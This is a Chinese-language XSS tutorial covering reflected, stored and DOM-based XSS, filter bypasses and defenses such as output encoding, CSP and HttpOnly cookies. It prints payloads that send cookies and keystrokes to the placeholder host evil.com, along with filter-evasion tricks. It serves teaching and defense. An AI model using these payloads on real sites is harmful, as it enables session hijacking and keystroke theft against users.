XSS(Cross-Site Scripting)跨站脚本攻击是一种代码注入攻击,攻击者通过在目标网站注入恶意JavaScript代码, 当其他用户浏览包含恶意代码的页面时,脚本会在受害者浏览器中执行,从而窃取Cookie、会话令牌、重定向用户或执行其他恶意操作。
威胁等级
XSS是Web应用中最常见的漏洞之一,OWASP 2021将其列为第三大安全风险。据统计,约80%的网站存在某种形式的XSS漏洞,每年因XSS攻击造成的损失超过数十亿美元。
一、XSS攻击类型
反射型XSS
恶意脚本通过URL参数传递,服务器将其反射回页面并执行。需要诱导用户点击恶意链接。
• 非持久化
• 需要用户交互
• 最常见类型
存储型XSS
恶意脚本被永久存储在服务器(数据库、文件等),每次用户访问时都会执行。危害最大。
• 持久化存储
• 自动触发
• 影响所有用户
DOM型XSS
完全在客户端执行,通过修改DOM环境触发,不经过服务器。难以被传统WAF检测。
• 纯客户端
• 难以检测
• 基于DOM操作
二、反射型XSS详解
2.1 攻击场景
反射型XSS最常出现在搜索框、错误提示页面等直接将用户输入回显到页面的场景。
// 脆弱的PHP代码
<?php
$search = $_GET['q'];
echo "搜索结果: " . $search;
?>
// 恶意URL
http://victim.com/search.php?q=<script>alert(document.cookie)</script>
2.2 常用Payload
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<script>
new Image().src='http://evil.com/steal.php?c='+document.cookie;
</script>
三、存储型XSS详解
存储型XSS是最危险的类型,因为恶意脚本会影响所有访问该页面的用户。常见于评论区、用户资料、论坛帖子等。
3.1 攻击示例
// 在评论框提交恶意代码
评论内容: 这个产品真不错!<script src="http://evil.com/xss.js"></script>
// xss.js内容:高级持久化后门
(function(){
// 窃取Cookie并发送到攻击者服务器
var img = new Image();
img.src = 'http://evil.com/log?c=' + encodeURIComponent(document.cookie);
// 键盘记录
document.addEventListener('keypress', function(e) {
fetch('http://evil.com/keylog', {
method: 'POST',
body: e.key
});
});
})();
四、DOM型XSS详解
DOM型XSS的特殊之处在于整个攻击过程都发生在客户端,恶意代码不会发送到服务器,因此服务器端安全防护难以检测。
// 脆弱的JavaScript代码
<script>
var name = location.hash.substring(1);
document.getElementById('welcome').innerHTML = '欢迎 ' + name;
</script>
// 攻击URL
http://victim.com/welcome.html#<img src=x onerror=alert(document.cookie)>
五、XSS绕过技巧
常见过滤绕过方法
当目标网站存在XSS过滤时,可以尝试以下绕过技巧:
大小写混淆
<ScRiPt>alert(1)</sCrIpT>
<iMg sRc=x OnErRor=alert(1)>
编码绕过
// HTML实体编码
<script>alert(1)</script>
// Unicode编码
\u003cscript\u003ealert(1)\u003c/script\u003e
双写绕过
<scr<script>ipt>alert(1)</scr</script>ipt>
六、防御措施
输入验证与过滤
对所有用户输入进行严格的白名单验证,过滤或转义HTML特殊字符(< > " ' &)。使用成熟的过滤库而非自己编写正则。
输出编码
根据输出上下文(HTML、JavaScript、CSS、URL)使用正确的编码函数。例如PHP的htmlspecialchars()、JavaScript的textContent等。
Content Security Policy (CSP)
配置CSP响应头,限制页面可加载的资源来源,有效防止XSS攻击。即使攻击者注入了脚本,也无法执行。
HttpOnly Cookie
设置Cookie的HttpOnly标志,防止JavaScript访问Cookie,即使发生XSS也无法窃取会话令牌。
6.1 安全代码示例
// PHP安全输出
<?php
$userInput = $_GET['q'];
echo "搜索: " . htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
?>
// JavaScript安全DOM操作
const userInput = location.hash.substring(1);
document.getElementById('output').textContent = userInput; // 使用textContent而非innerHTML
// CSP响应头配置
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-random123';
七、实战案例
某社交网站存储型XSS蠕虫攻击
2018年,某知名社交平台发现存储型XSS漏洞,攻击者在个人简介中注入恶意脚本。当其他用户查看该简介时,脚本自动在受害者账户中复制相同的恶意代码,形成XSS蠕虫。短短2小时内,超过100万用户账户被感染,导致大量Cookie泄露和账户被劫持。
教训:对用户生成内容(UGC)必须进行严格的过滤和编码,尤其是会被多次展示的内容。